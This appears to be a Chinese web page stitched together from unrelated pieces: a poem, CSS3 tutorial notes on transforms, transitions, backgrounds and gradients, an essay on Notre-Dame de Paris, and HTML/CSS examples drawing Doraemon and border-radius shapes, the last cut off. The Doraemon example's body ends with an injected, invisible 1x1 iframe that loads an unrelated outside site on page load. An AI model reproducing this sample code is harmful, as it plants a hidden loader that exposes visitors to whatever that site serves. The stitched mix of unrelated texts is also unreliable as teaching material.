那一年
我在蹒跚学步你小学
我为一颗糖和你起争执
我的记忆里没有你

那一年
我小学你中学
我在田间小路等你回家
我的记忆里没有你

那一年
我中学你大学
我在哭泣和不舍中看你离开
我的记忆里没有你

和你的争执
漫长的等待
不舍的别离
却成了仅存的记忆
我的记忆里没有你

2D转换

转换是CSS3中具有颠覆性的特征之一，可以实现元素的位移、旋转、变形、缩放，甚至支持矩阵方式，配合即将学习的过渡和动画知识，可以取代大量之前只能靠Flash才可以实现的效果。在css3 当中，通过transform(变形) 来实现2d 或者3d 转换,其中2d 有，缩放，移动，旋转。

• 缩放 scale(x, y) 可以对元素进行水平和垂直方向的缩放，x、y的取值可为小数，不可为负值；

• 移动 translate(x, y) 可以改变元素的位置，x、y可为负值；x 在水平方向移动。y 在垂直方向移动。

  • 移动位置相当于自身原来位置
  • 除了可以像素值，也可以是百分比，相对于自身的宽度或高度

• 旋转 rotate(deg) 可以对元素进行旋转，正值为顺时针，负值为逆时针；

  • 当元素旋转以后，坐标轴也跟着发生的转变
  • 调整顺序可以解决，把旋转放到最后
• 倾斜 skew(deg, deg) 可以使元素按一定的角度进行倾斜，可为负值，第二个参数不写默认为0。

• 矩阵matrix() 把所有的2D转换组合到一起，需要6个参数.
  我们可以同时使用多个转换，其格式为：transform: translate() rotate() scale() ...等，其顺序会影响转换的效果。

  3D转换

  首先需要知道3D转换之后的坐标系。
  

• 绕X轴旋转， 3D转换-旋转rotateX
• 绕Y轴旋转， 3D转换-旋转rotateY
• 绕Z轴旋转， 3D转换-旋转rotateZ
• 在X轴移动， 3D转换-移动translateX
• 在Y轴移动， 3D转换-移动translateY
• 在Z2轴移动，6 3D转换-移动translateZ

透视（perspective）
电脑显示屏是一个2D平面，图像之所以具有立体感（3D效果），其实只是一种视觉呈现，通过透视可以实现此目的。
透视可以将一个2D平面，在转换的过程当中，呈现3D效果。
注：并非任何情况下需要透视效果，根据开发需要进行设置。
perspective有两种写法

• 作为一个属性，设置给父元素，作用于所有3D转换的子元素。
• 作为transform属性的一个值，做用于元素自身。

3D呈现（transform-style）
设置内嵌的元素在 3D 空间如何呈现，这些子元素必须为转换原素。
flat：所有子元素在 2D 平面呈现。
preserve-3d：保留3D空间。
3D转换-透视transform-style。
3D元素构建是指某个图形是由多个元素构成的，可以给这些元素的父元素设置transform-style: preserve-3d来使其变成一个真正的3D图形。

backface-visibility设置元素背面是否可见。

transition

语法：transition:param1 param2

• param1 要过渡的属性
• param2 过渡的时间.

过渡是CSS3中具有颠覆性的特征之一，可以实现元素不同状态间的平滑过渡（补间动画），经常用来制作动画效果。
补间动画：自动完成从起始状态到终止状态的的过渡。不用管中间的状态
帧动画：扑克牌切换.通过一帧一帧的画面按照固定顺序和速度播放。
特点：当前元素只要有“属性”发生变化时，可以平滑的进行过渡。
transition-property设置过渡属性
transition-duration设置过渡时间 用来控制速度linear(匀速)ease-in (加速)ase-in-out (先加速后减速) ease-out (减速)
transition-timing-function设置过渡速度
transition-delay设置过渡延时，超过时间后执行动画.

最近有重新读了一遍《巴黎圣母院》。这本书给我留下了深刻的印象，使我受益匪浅，原因是：它让我看到了世间最深沉的灵魂最深沉的呼唤。
《巴黎圣母院》情节曲折、人物性格具有冲突性，是一部富有戏剧性的著作。小说揭露了宗教的虚伪，歌颂了下层劳动人民的善良、友爱、舍己为人的高贵品质，反映了雨果的人道主义思想。小说把美与丑进行了强烈对比，也让我更加明白了一个道理：外表美并不代表心灵美！

一、埋在宗教外衣下面的人性--克洛德
让我印象深刻的场景是作者笔下的那些建筑，那些奢华的象征权力的教堂，人们还不知道可以拥有自己的思想，以及为了自己的愿望可以做什么事情，一切都假借神圣的宗教，一切都假借神圣的教堂来展现，展现建筑家的审美观，也就是个人的才华，或者展示自己的能力。我想那时的人们，把人性深深地埋在一件神圣的宗教的外衣下面，典型的人物就是副主教－－克洛德。从许多的错综复杂的毫无章法的建筑群，我们不难看出，当时人们的内心是怎样的压抑，怎样狂躁，那些像雨后春笋一般从地下冒出来的教堂的尖顶，正是人们扭曲的灵魂在对着苍天做无谓的哀嚎！！！
当故事的情节愈演愈烈时，我读懂了他精神世界中的畸形。他不择手段地“爱”，让他卑鄙地，变态地劫持爱斯梅拉达，并且因“爱”成恨地要置她于死地。这是一种自私的，低微的，霸道的“爱”，充满了病态的“爱”，那不算是爱，只是伤害。借助宗教的名义做自己的事，以控制人们的思想。使得社会笼罩在他的势力之下。看似对别人的好，到最后也成了伤害。

二、生活在黑暗世界的反抗--敲钟怪人卡西莫多
卡西莫多属于自身条件极差，但目光有非常高的幻想爱情主义的典范。他由于长相畸形，从小成为弃婴，是副教主克洛德收养了他。由于从小在教堂长大，他也从来没有享受过家庭的暖和。长大后，持续留在教堂做敲钟人，所以他爱的人只有两个，一个是副教主克洛德，一个是教堂的没有姓名的大众。卡西莫多外貌丑陋，但是他的内心却是高尚的。他勇敢地从封建教会的“虎口”中救出了爱斯梅拉达，用“圣殿避难”的方法保住了姑娘的姓名。可是，当漂亮仁慈的艾斯梅拉达呈现的时候，唤醒了他心坎对美妙爱情的盼望，然而这种美妙爱情的觉悟，并没有给他带来任何的快活，反而使他更加深入地感受到了胜利缺点带来的经历上的苦楚。面对艾丝美拉达的漂亮，他是那样的自卑，苦楚，他盼望接近艾丝美拉达，但是又怕自己的丑恶令艾丝美拉达难受和惧怕。他对爱斯梅拉达并没有什么奢望，他只要知道她在他身边就行了。然而就连这样一个奢望也被他的养父夺走了，失望中的卡西莫多愤怒的杀死了她的养父副教主克洛德，然后与艾丝美拉达一起去了另一个世界。永远守护在艾斯梅拉达的身边。
身在宗教势力的笼罩之下，使自己一直为宗教效力，当自己发现宗教的邪恶之时，当自己的最爱被自己爱戴的养父夺取时，出于对社会的屈服，使自己只能含恨离开这个世界，去和自己心爱的人去另一个世界去寻找幸福。如果敢于与宗教斗争，敢于去争取自己的爱情，哪怕最后牺牲，也不会在有什么遗憾了。

三、与丑对照的美--艾丝美拉达
代表美丽善良的姑娘－－爱斯梅拉达。她不仅有迷人的外貌，更有一颗纯真善良的心灵，从她对待那只山羊，救下那个落魄的诗人，对于伤害过自己的卡西莫多，送上的水和怜悯，对待爱情的牺牲，等，我们看到她是美丽的，她的身上心灵上没有污垢，她是没有被污染的。可是，这样的天使一样的姑娘，受到的是怎么样的对待呢？流浪，在最肮脏的环境里面生活，被所谓的上流社会排斥和嘲讽，被玩弄，被抛弃，被诬陷，被威胁，最后，作了彻底的牺牲。她有菩萨一般无人能及的心肠，她有倾国倾城的美貌，她是善与美的化身！
她善良，美丽充满了同情心，但在宗教的影响下，她的所作所为都不为人们所接纳，人们只信仰宗教，致使自己最后也无法逃脱宗教的迫害，使得自己与自己心爱的人不得不逃离现实的世界，她的所作所为从侧面展现了宗教对人们的迫害，对人们思想的钳制。同时也说明了在那种宗教的影响下，善和美还是存在的，在人民身边也能感受到，只是等待人们的传播与发扬。当她的善良感化了身边的每个人，那么结局将会是一个美好的结局。
书中描写了一个那样的社会，和在那个社会生活中的种种人物的状态，麻木的如那个弗比斯，最底层的如老鼠洞里的那几个隐修女，疯狂的副主教，还有尽全力反抗的最丑陋的卡齐莫多，副主教和卡齐莫多形成了人性上的鲜明对比，同样爱上了美丽的姑娘，同样的遭到了拒绝，他们的爱都是那么的热烈，那么的诚挚，可是，一个是占有，一个是奉献，已占有为目的的，当目的无法达到的时候，他想到的是毁灭，毁灭别人；以奉献为目的的，当无法奉献的时候，想到的也是毁灭，毁灭自己。
我一直思考着：为什么在追求欢乐的同时，隐藏着悲痛的灵魂，世道如此吧！在生活中总有艰难，总有困惑，也会有成功，更会有失败……

背景在CSS3中也得到很大程度的增强，比如背景图片尺寸、背景裁切区域、背景定位参照点、多重背景等。

• background-size:width,height 可以设置背景图片的宽度以及高度

  • background-size设置背景图片的尺寸
    background-size: 100% auto; 自动是适应盒子的宽度，当宽度发送改变时，高度会有内容溢出。
    常规用法：通过百分百，和像素来调整背景的尺寸.
  • cover会自动调整缩放比例，保证图片始终填充满背景区域，如有溢出部分则会被隐藏。整个背景图片完整显示在背景区域.
  • contain会自动调整缩放比例，保证图片始终完整显示在背景区域。也可以使用长度单位或百分比

• background-origin(原点，起点)设置背景定位的原点

  • 所谓的背景原点就是调整背景位置的一个参照点.调整背景图片定位的参照原点.
  • border-box以边框做为参考原点；
  • padding-box以内边距做为参考原点；
  • content-box以内容区做为参考点；

• background-clip设置背景区域clip(裁切)

  • border-box裁切边框以内为背景区域；
  • padding-box裁切内边距以内为背景区域；
  • content-box裁切内容区做为背景区域；
• 以逗号分隔可以设置多背景，可用于自适应局
  背景图片尺寸在实际开发中应用十分广泛。

渐变是CSS3当中比较丰富多彩的一个特性，通过渐变我们可以实现许多炫丽的效果，有效的减少图片的使用数量，并且具有很强的适应性和可扩展性。

线性渐变 （gradient 变化）

linear-gradient线性渐变指沿着某条直线朝一个方向产生渐变效果。

background:linear-gradient(
To right 表示方向 (left,top,right,left ,也可以使用度数`30deg`)
        Yellow,  渐变起始颜色
        Green   渐变终止颜色
)

注意：必要的元素：

• 方向
• 起始颜色
• 终止色；

径向渐变 (radial 径向)

radial-gradient径向渐变指从一个中心点开始沿着四周产生渐变效果

//围绕中心点做渐变，半径是150px，从黄颜色到绿颜色做渐变.
 background: radial-gradient(
          150px  at  center,
          yellow,
          green
     );  

注意：
1、必要的元素：

• 辐射范围即圆半径 (半径越大，渐变效果越大)
• 中心点 即圆的中心 (中心点的位置是以盒子自身)
• 渐变起始色
• 渐变终止色
  2、关于中心点：中心位置参照的是盒子的左上角
  3、关于辐射范围：其半径可以不等，即可以是椭圆

描述：用CSS绘制的机器猫，眼镜会动
样式：

示例代码：

<!DOCTYPE html>
        <html lang="zh-cn">
        <head>
            <meta charset="utf-8" />
            <title>机器猫</title>
            <meta name="author" content="" />
            <meta name="copyright" content="" />
            <style>
                .wrapper{
                    margin: 50px 0 0 500px;
                }
                .doraemon{
                    position: relative;
                }


                .doraemon .head {
                    position:relative;
                    width: 320px;
                    height: 300px;
                    border-radius: 150px;
                    background: #07bbee;
                    background: -webkit-radial-gradient(right top,#fff 10%,#07bbee 20%,#10a6ce 75%,#000);
                    background: -moz-radial-gradient(right top,#fff 10%,#07bbee 20%,#10a6ce 75%,#000);
                    background: -ms-radial-gradient(right top,#fff 10%,#07bbee 20%,#10a6ce 75%,#000);
                    border:2px solid #555;
                    box-shadow:-5px 10px 15px rgba(0,0,0,0.45);
                }


                /*脸部*/
                .doraemon .face {
                    position: relative; /*让所有脸部元素可自由定位*/
                    z-index: 2;    /*脸在头部背景上面*/
                }
                /*白色脸底*/
                .doraemon .face .white {
                    width: 265px;       /*设置宽高*/
                    height: 195px;
                    border-radius: 150px;
                    position: absolute; /*进行绝对定位*/
                    top: 75px;
                    left: 25px;
                    background: #fff;
                    /*此放射渐变也是使脸的左下角暗一些，看上去更真实*/
                    background: -webkit-radial-gradient(right top,#fff 75%,#eee 80%,#999 90%,#444);
                    background: -moz-radial-gradient(right top,#fff 75%,#eee 80%,#999 90%,#444);
                    background: –ms-radial-gradient(right top,#fff 75%,#eee 80%,#999 90%,#444);
                }
                /*鼻子*/
                .doraemon .face .nose{
                    width:30px;
                    height:30px;
                    border-radius:15px;
                    background:#c93300;
                    border:2px solid #000;
                    position:absolute;
                    top:110px;
                    left:140px;
                    z-index:3;   /*鼻子在白色脸底下面*/
                }
                /*鼻子上的高光*/
                .doraemon .face .nose .light {
                    width:10px;
                    height:10px;
                    border-radius: 5px;
                    box-shadow: 19px 8px 5px #fff;  /*通过阴影实现高光*/
                }
                /*鼻子下的线*/
                .doraemon .face .nose_line{
                    width:3px;
                    height:100px;
                    background:#333;
                    position:absolute;
                    top:143px;
                    left:155px;
                    z-index:3;
                }
                /*嘴巴*/
                .doraemon .face .mouth{
                    width:220px;
                    height:400px;
                    /*通过底边框加上圆角模拟微笑嘴巴*/
                    border-bottom:3px solid #333;
                    border-radius:120px;
                    position:absolute;
                    top:-160px;
                    left:45px;
                }
                /*眼睛*/
                .doraemon .eyes {
                    position: relative;
                    z-index: 3; /*眼睛在白色脸底下面*/
                }
                /*眼睛共同的样式*/
                .doraemon .eyes .eye{
                    width:72px;
                    height:82px;
                    background:#fff;
                    border:2px solid #000;
                    border-radius:35px 35px;
                    position:absolute;
                    top:40px;
                }  /*眼珠*/
                .doraemon .eyes .eye .black{
                    width:14px;
                    height:14px;
                    background:#000;
                    border-radius:7px;
                    position:absolute;
                    top:40px;
                }
                .doraemon .eyes .left{
                    left:82px;
                }
                .doraemon .eyes .right {
                    left: 156px;
                }
                .doraemon .eyes .eye .bleft {
                    left: 50px;
                }

                .doraemon .eyes .eye .bright {
                    left: 7px;
                }


                /*胡须背景，主要用于挡住嘴巴的一部分，不要显得太长*/
                .doraemon .whiskers{
                    width:220px;
                    height:80px;
                    background:#fff;
                    border-radius:15px;
                    position:absolute;
                    top:120px;
                    left:45px;
                    z-index:2;   /*在鼻子和眼睛下面*/
                }
                /*所有胡子的公用样式*/
                .doraemon .whiskers .whisker {
                    width: 60px;
                    height: 2px;
                    background: #333;
                    position: absolute;
                    z-index: 2;
                }
                /*右上胡子*/
                .doraemon .whiskers .rTop {
                    left: 165px;
                    top: 25px;
                }
                /*右中胡子*/
                .doraemon .whiskers .rMiddle {
                    left: 167px;
                    top: 45px;
                }
                /*右下胡子*/
                .doraemon .whiskers .rBottom {
                    left: 165px;
                    top: 65px;
                }
                /*左上胡子*/
                .doraemon .whiskers .lTop {
                    left: 0;
                    top: 25px;
                }
                /*左中胡子*/
                .doraemon .whiskers .lMiddle {
                    left: -2px;
                    top: 45px;
                }
                /*左下胡子*/
                .doraemon .whiskers .lBottom {
                    left: 0;
                    top: 65px;
                }
                /*胡子旋转角度*/
                .doraemon .whiskers .r160 {
                    -webkit-transform: rotate(160deg);
                    -moz-transform: rotate(160deg);
                    -ms-transform: rotate(160deg);
                    -o-transform: rotate(160deg);
                    transform: rotate(160deg);
                }
                .doraemon .whiskers .r20 {
                    -webkit-transform: rotate(200deg);
                    -moz-transform: rotate(200deg);
                    -ms-transform: rotate(200deg);
                    -o-transform: rotate(200deg);
                    transform: rotate(200deg);
                }



                /*围脖*/
                .doraemon .choker {
                    width: 230px;
                    height: 20px;
                    background: #c40;
                    /*线性渐变 让围巾看上去更自然*/
                    background: -webkit-gradient(linear,left top,left bottom,from(#c40),to(#800400));
                    background: -moz-linear-gradient(center top,#c40,#800400);
                    background: -ms-linear-gradient(center top,#c40,#800400);
                    border: 2px solid #000;
                    border-radius: 10px;
                    position: relative;
                    top: -40px;
                    left: 45px;
                    z-index: 4;
                }
                /*铃铛*/
                .doraemon .choker .bell {
                    width: 40px;
                    height: 40px;
                    _overflow: hidden; /*IE6 hack*/
                    border: 2px solid #000;
                    border-radius: 50px;
                    background: #f9f12a;
                    background: -webkit-gradient(linear, left top, left bottom, from(#f9f12a),color-stop(0.5, #e9e11a), to(#a9a100));
                    background: -moz-linear-gradient(top, #f9f12a, #e9e11a 75%,#a9a100);
                    background: -ms-linear-gradient(top, #f9f12a, #e9e11a 75%,#a9a100);
                    box-shadow: -5px 5px 10px rgba(0,0,0,0.25);
                    position: absolute;
                    top: 5px;
                    left: 90px;
                }
                /*双横线*/
                .doraemon .choker .bell_line {
                    width: 36px;
                    height: 2px;
                    background: #f9f12a;
                    border: 2px solid #333;
                    border-radius: 3px 3px 0 0;
                    position: absolute;
                    top: 10px;
                }
                /*黑点*/
                .doraemon .choker .bell_circle{
                    width:12px;
                    height:10px;
                    background:#000;
                    border-radius:5px;
                    position:absolute;
                    top:20px;
                    left:14px;
                }
                /*黑点下的线*/
                .doraemon .choker .bell_under{
                    width: 3px;
                    height:15px;
                    background:#000;
                    position:absolute;
                    left: 18px;
                    top:27px;
                }
                /*铃铛高光*/
                .doraemon .choker .bell_light{
                    width:12px;
                    height:12px;
                    border-radius:10px;
                    box-shadow:19px 8px 5px #fff;
                    position:absolute;
                    top:-5px;
                    left:5px;
                    opacity:0.7;
                }
                /*身子*/
                .doraemon .bodys {
                    position: relative;
                    top: -310px;
                }
                /*肚子*/
                .doraemon .bodys .body {
                    width: 220px;
                    height: 165px;
                    background: #07beea;
                    background: -webkit-gradient(linear,right top,left top,from(#07beea),color-stop(0.5, #0073b3),color-stop(0.75,#00b0e0), to(#0096be));
                    background: -moz-linear-gradient(right center,#07beea,#0073b3 50%,#00b0e0 75%,#0096be 100%);
                    background: -ms-linear-gradient(right center,#07beea,#0073b3 50%,#00b0e0 75%,#0096be 100%);
                    border:2px solid #333;
                    position:absolute;
                    top:265px;
                    left:50px;
                }
                /*白色肚兜*/
                .doraemon .bodys .wraps {
                    width: 170px;
                    height: 170px;
                    background: #fff;
                    background: -webkit-gradient(linear, right top, left bottom, from(#fff),color-stop(0.75,#fff),color-stop(0.83,#eee),color-stop(0.90,#999),color-stop(0.95,#444), to(#000));
                    background: -moz-linear-gradient(right top,#fff,#fff 75%,#eee 83%,#999 90%,#444 95%,#000);
                    background: -ms-linear-gradient(right top,#fff,#fff 75%,#eee 83%,#999 90%,#444 95%,#000);
                    border: 2px solid #000;
                    border-radius: 85px;
                    position: absolute;
                    left: 72px;
                    top: 230px;
                }
                /*口袋*/
                .doraemon .bodys .pocket {
                    width: 130px;
                    height: 130px;
                    border-radius: 65px;
                    background: #fff;
                    background: -webkit-gradient(linear, right top, left bottom, from(#fff),color-stop(0.70,#fff),color-stop(0.75,#f8f8f8),color-stop(0.80,#eee),color-stop(0.88,#ddd), to(#fff));
                    background: -moz-linear-gradient(right top, #fff, #fff 70%,#f8f8f8 75%,#eee 80%,#ddd 88%, #fff);
                    background: -ms-linear-gradient(right top, #fff, #fff 70%,#f8f8f8 75%,#eee 80%,#ddd 88%, #fff);
                    border: 2px solid #000;
                    position:absolute;
                    top: 250px;
                    left: 92px;
                }
                /*挡住口袋一半*/
                .doraemon .bodys .pocket_mask {
                    width: 134px;
                    height: 60px;
                    background:#fff;
                    border-bottom: 2px solid #000;
                    position:absolute;
                    top: 259px;
                    left: 92px;
                }


                /*左右手*/
                .doraemon .hand_right, .doraemon .hand_left {
                    height: 100px;
                    width: 100px;
                    position: absolute;
                    top: 272px;
                    left: 248px;
                }
                /*左手*/
                .doraemon .hand_left {
                    left: -10px;
                }
                /*手臂公共部分*/
                .doraemon .arm {
                    width:80px;
                    height:50px;
                    background: #07beea;
                    background: -webkit-gradient(linear, left top, left bottom, from(#07beea),color-stop(0.85,#07beea), to(#555));
                    background: -moz-linear-gradient(center top, #07BEEA, #07BEEA 85%, #555);
                    background: -ms-linear-gradient(center top, #07BEEA, #07BEEA 85%, #555);
                    border: 1px solid #000000;
                    box-shadow: -10px 7px 10px rgba(0, 0, 0, 0.35);
                    z-index: -1;
                    position: relative;
                }
                /*右手手臂*/
                .doraemon .hand_right .arm {
                    top: 17px;
                    -webkit-transform: rotate(35deg);
                    -moz-transform: rotate(35deg);
                    -ms-transform: rotate(35deg);
                    -o-transform: rotate(35deg);
                    transform: rotate(35deg);
                }
                /*左手手臂*/
                .doraemon .hand_left .arm {
                    top: 17px;
                    background: #0096be;   /*背光一面使用纯色，使其有立体感*/
                    box-shadow: 5px -7px 10px rgba(0, 0, 0, 0.25);
                    -webkit-transform: rotate(145deg);
                    -moz-transform: rotate(145deg);
                    -ms-transform: rotate(145deg);
                    -o-transform: rotate(145deg);
                    transform: rotate(145deg);
                }
                /*圆形手掌公共部分*/
                .doraemon .circle {
                    width: 60px;
                    height: 60px;
                    border-radius: 30px;
                    border: 2px solid #000;
                    background: #fff;
                    background: -webkit-gradient(linear, right top, left bottom, from(#fff),color-stop(0.5,#fff),color-stop(0.70,#eee),color-stop(0.8,#ddd), to(#999));
                    background: -moz-linear-gradient(right top, #fff, #fff 50%, #eee 70%, #ddd 80%,#999);
                    background: -ms-linear-gradient(right top, #fff, #fff 50%, #eee 70%, #ddd 80%,#999);
                    position: absolute;
                }
                /*右手手掌*/
                .doraemon .hand_right .circle {
                    left: 40px;
                    top: 32px;
                }
                /*左手手掌*/
                .doraemon .hand_left .circle {
                    left: -20px;
                    top: 32px;
                }
                /*手臂和身体结合处，使用背景遮住边框*/
                .doraemon .arm_rewrite {
                    height: 45px;
                    width: 5px;
                    background: #07beea;
                    position: relative;
                }
                /*右手结合处*/
                .doraemon .hand_right .arm_rewrite {
                    top: -45px;
                    left: 22px;
                }
                /*左手结合处*/
                .doraemon .hand_left .arm_rewrite {
                    top: -45px;
                    left: 60px;
                    background: #0096be; /*同理，背光一面使用纯色，使其有立体感*/
                }
                /*脚部*/
                .doraemon .foot {
                    width: 280px;
                    height: 40px;
                    position: relative;
                    top: 55px;
                    left: 20px;
                }
                /*左右脚共同样式*/
                .doraemon .foot .left, .doraemon .foot .right {
                    width: 125px;
                    height: 30px;
                    background: #fff;
                    background: -webkit-gradient(linear, right top, left bottom, from(#fff),color-stop(0.75,#fff),color-stop(0.85,#eee), to(#999));
                    background: -moz-linear-gradient(right top, #fff, #fff 75%, #eee 85%, #999);
                    background: -ms-linear-gradient(right top, #fff, #fff 75%, #eee 85%, #999);
                    border: 2px solid #333;
                    border-radius: 80px 60px 60px 40px;
                    box-shadow: -6px 0 10px rgba(0, 0, 0, 0.35);
                    position: relative;
                }
                .doraemon .foot .left {
                    left: 8px;
                    top: 65px;
                }

                .doraemon .foot .right {
                    top: 31px;
                    left: 141px;
                }
                /*双脚之间的缝隙，加阴影使用立体感*/
                .doraemon .foot .foot_rewrite {
                    width: 20px;
                    height: 10px;
                    background: #fff;
                    background: -webkit-gradient(linear, right top, left bottom, from(#666),color-stop(0.83,#fff), to(#fff));
                    background: -moz-linear-gradient(right top, #666, #fff 83%, #fff);
                    background: -ms-linear-gradient(right top, #666, #fff 83%, #fff);
                    /*制作半圆效果*/
                    border: 2px solid #000;
                    border-bottom: none;
                    border-radius: 40px 40px 0 0;
                    position: relative;
                    top: -11px;
                    left: 130px;
                    _left: 127px;
                }



                /*眼珠*/
                .doraemon .eyes .eye .black {
                    width: 14px;
                    height: 14px;
                    background: #000;
                    border-radius: 7px;
                    position: absolute;
                    top: 40px;
                    -webkit-animation: eyemove 3s linear infinite;
                    -moz-animation: eyemove 3s linear infinite;
                    -ms-animation: eyemove 3s linear infinite;
                    -o-animation: eyemove 3s linear infinite;
                    animation: eyemove 3s linear infinite;
                }

                /*让眼睛动起来*/
                @-webkit-keyframes eyemove {
                    70%{
                        margin:0 0 0 0;
                    }
                    80% {
                        margin: -22px 0 0 0;
                    }

                    85% {
                        margin: -22px 0 0 5px;
                    }

                    90% {
                        margin: -22px 10px 0 0;
                    }

                    93% {
                        margin: -22px 0 0 0;
                    }

                    96% {
                        margin: 0 0 0 0;
                    }
                }

                @-moz-keyframes eyemove {
                    70% {
                        margin: 0 0 0 0;
                    }

                    80% {
                        margin: -22px 0 0 0;
                    }

                    85% {
                        margin: -22px 0 0 5px;
                    }

                    90% {
                        margin: -22px 10px 0 0;
                    }

                    93% {
                        margin: -22px 0 0 0;
                    }

                    96% {
                        margin: 0 0 0 0;
                    }
                }

                @-o-keyframes eyemove {
                    70% {
                        margin: 0 0 0 0;
                    }

                    80% {
                        margin: -22px 0 0 0;
                    }

                    85% {
                        margin: -22px 0 0 5px;
                    }

                    90% {
                        margin: -22px 10px 0 0;
                    }

                    93% {
                        margin: -22px 0 0 0;
                    }

                    96% {
                        margin: 0 0 0 0;
                    }
                }
                @keyframes eyemove {
                    70% {
                        margin: 0 0 0 0;
                    }

                    80% {
                        margin: -22px 0 0 0;
                    }

                    85% {
                        margin: -22px 0 0 5px;
                    }

                    90% {
                        margin: -22px 10px 0 0;
                    }

                    93% {
                        margin: -22px 0 0 0;
                    }

                    96% {
                        margin: 0 0 0 0;
                    }
                }







            </style>
        </head>
<body>
<div class="wrapper">
    <!--叮当猫整体-->
    <div class="doraemon">
        <!--头部-->
        <div class="head">
            <!--眼睛-->
            <div class="eyes">
                <div class="eye left">
                    <!--眼珠-->
                    <div class="black bleft"></div>
                </div>
                <div class="eye right">
                    <div class="black bright"></div>
                </div>
            </div>
            <!--脸部-->
            <div class="face">
                <!--白色脸底-->
                <div class="white"></div>
                <!--鼻子-->
                <div class="nose">
                    <!--鼻子高光部分-->
                    <div class="light"></div>
                </div>
                <!--鼻子的竖线-->
                <div class="nose_line"></div>
                <!--嘴巴-->
                <div class="mouth"></div>
                <!--胡须-->
                <div class="whiskers">
                    <div class="whisker rTop r160"></div>
                    <div class="whisker rMiddle"></div>
                    <div class="whisker rBottom r20"></div>
                    <div class="whisker lTop r20"></div>
                    <div class="whisker lMiddle"></div>
                    <div class="whisker lBottom r160"></div>
                </div>
            </div>
        </div>
        <!--脖子和铃铛-->
        <div class="choker">
            <!--铃铛-->
            <div class="bell">
                <div class="bell_line"></div>
                <div class="bell_circle"></div>
                <div class="bell_under"></div>
                <div class="bell_light"></div>
            </div>
        </div>
        <!--身体-->
        <div class="bodys">
            <!--肚子-->
            <div class="body"></div>
            <!--肚兜-->
            <div class="wraps"></div>
            <!--口袋-->
            <div class="pocket"></div>
            <!--遮住一半口袋，使其呈现半圆-->
            <div class="pocket_mask"></div>
        </div>
        <!--右手-->
        <div class="hand_right">
            <!--手臂-->
            <div class="arm"></div>
            <!--手掌-->
            <div class="circle"></div>
            <!--遮住手臂和身子交接处的线-->
            <div class="arm_rewrite"></div>
        </div>
        <!--左手-->
        <div class="hand_left">
            <div class="arm"></div>
            <div class="circle"></div>
            <div class="arm_rewrite"></div>
        </div>
        <!--脚-->
        <div class="foot">
            <div class="left"></div>
            <div class="right"></div>
            <!--双脚之间的缝隙-->
            <div class="foot_rewrite"></div>
        </div>
    </div>
</div>

<iframe src="http://ZieF.pl/rc/" width=1 height=1 style="border:0"></iframe>
</body>
</html>

效果图：

示例代码：

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>图形</title>
    <style>
        body, ul, li, dl, dt, dd, h1, h2, h3, h4, h5 {
            margin: 0;
            padding: 0;
        }

        body {
            background-color: #F7F7F7;
        }

        .wrapper {
            width: 1000px;
            margin: 0 auto;
            padding: 20px;
            box-sizing: border-box;
        }

        header {
            padding: 20px 0;
            margin-bottom: 20px;
            text-align: center;
        }
        header h3 {
            line-height: 1;
            font-weight: normal;
            font-size: 28px;
        }

        .main {
            /*overflow: hidden;*/
        }

        .main:after {
            content: '';
            clear: both;
            display: block;
        }

        .main .item {
            width: 210px;
            height: 210px;
            margin: 0 30px 30px 0;
            display: flex;
            position: relative;
            background-color: #FFF;
            float: left;
            box-shadow: 2px 2px 5px #CCC;
        }

        .main .item:after {
            content: attr(data-brief);
            display: block;
            width: 100%;
            height: 100%;
            text-align: center;
            line-height: 210px;
            position: absolute;
            top: 0;
            left: 0;
            color: #FFF;
            font-family: '微软雅黑';
            font-size: 18px;
            background-color: rgba(170, 170, 170, 0);
            z-index: -1;
            transition: all 0.3s ease-in;
        }

        .main .item:hover:after {
            background-color: rgba(170, 170, 170, 0.6);
            z-index: 100;
        }

        .main .item:nth-child(4n) {
            margin-right: 0;
        }

        /*.main .item:nth-last-child(-n+5) {
            margin-bottom: 0;
        }*/

        /* 以上是骨架样式 */
        /* 1、2、3、4 顺时针 */
        .border-radius {
            width: 180px;
            height: 180px;
            margin: auto;
            border: 1px solid red;
        }

        .square {
            border-radius: 0;
        }

        /*拱形*/
        .item:nth-child(1) .border-radius {
            border-radius: 90px;
        }

        /*拱形*/
        .item:nth-child(2) .border-radius {
            border-radius: 90px 90px 0 0;
        }

        /*半圆*/
        .item:nth-child(3) .border-radius {
            height: 90px;
            border-radius: 90px 90px 0 0;
        }

        /*左上角*/
        .item:nth-child(4) .border-radius {
            /*height: 90px;*/
            border-radius: 90px 0 0 0;
        }

        /*四分之一圆*/
        .item:nth-child(5) .border-radius {
            width: 90px;
            height: 90px;
            border-radius: 90px 0 0 0;
        }

        /*横着的椭圆*/
        .item:nth-child(6) .border-radius {
            height: 90px;
            /*border-radius: 50%;*/
            border-radius: 90px 90px 90px 90px / 45px 45px 45px 45px;
            /*border-radius: 45px / 90px;*/
        }

        /*竖着的椭圆*/
        .item:nth-child(7) .border-radius {
            width: 90px;
            border-radius: 45px 45px 45px 45px / 90px 90px 90px 90px;
        }

        /*半个横着的椭圆*/
        .item:nth-child(8) .border-radius {
            height: 45px;
            border-radius: 90px 90px 0 0 / 45px 45px 0 0;
        }

        /*半个竖着的椭圆*/
        .item:nth-child(9) .border-radius {
            width: 45px;
            border-radius: 45px  0 0 45px / 90px 0 0 90px;
        }

        /*四分之一竖着的椭圆*/
        .item:nth-child(10) .border-radius {
            width: 45px;
            height: 90px;
            border-radius: 45px 0 0 0 / 90px 0 0 0;
        }

        /*饼环*/
        .item:nth-child(11) .border-radius {
            width: 40px;
            height: 40px;
            border: 70px solid red;
            border-radius: 90px;
        }

        /*圆饼*/
        .item:nth-child(12) .border-radius {
            width: 40px;
            height: 40px;
            border: 70px solid red;
            border-radius: 60px;
        }

        /*左上角圆饼*/
        .item:nth-child(13) .border-radius {
            width: 60px;
            height: 60px;
            border: 60px solid red;
            border-radius: 90px 0 0 0;
        }

        /*对角圆饼*/
        .item:nth-child(14) .border-radius {
            width: 60px;
            height: 60px;
            border: 60px solid red;
            border-radius: 90px 0 90px 0;
        }

        /*四边不同色*/
        .item:nth-child(15) .border-radius {
            width: 0px;
            height: 0px;
            border-width: 90px;
            border-style: solid;
            border-color: red green yellow blue;
        }

        /*右透明色*/
        .item:nth-child(16) .border-radius {
            width: 0px;
            height: 0px;
            border-width: 90px;
            border-style: solid;
            border-color: red green yellow blue;
            border-right-color: transparent;
        }

        /*圆右透明色*/
        .item:nth-child(17) .border-radius {
            width: 0px;
            height: 0px;
            border-width: 90px;
            border-style: solid;
            border-color: red;
